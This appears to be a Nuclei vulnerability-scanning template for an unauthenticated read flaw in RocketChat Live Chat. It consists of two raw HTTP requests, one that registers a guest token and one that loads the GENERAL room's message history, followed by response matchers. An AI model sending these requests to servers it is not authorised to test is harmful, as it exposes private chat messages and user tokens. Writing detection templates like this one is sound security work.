id: rockethchat-unauth-access info: name: RocketChat Unauthenticated Read Access author: rojanrijal severity: critical description: An issue with the Live Chat accepting invalid parameters could potentially allow unauthenticated access to messages and user tokens. reference: https://docs.rocket.chat/guides/security/security-updates tags: rockethchat,unauth requests: - raw: - | POST /api/v1/method.callAnon/cve_exploit HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/json Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 {"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"cvenucleirocketchat\",\"name\":\"cve-2020-nuclei\",\"email\":\"cve@nuclei.local\"}],\"id\":\"123\"}"} - | POST /api/v1/method.callAnon/cve_exploit HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/json {"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"cvenucleirocketchat\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"} matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '"{\"msg\":\"result\",\"result\":{\"messages\"' - '"success":true' part: body condition: and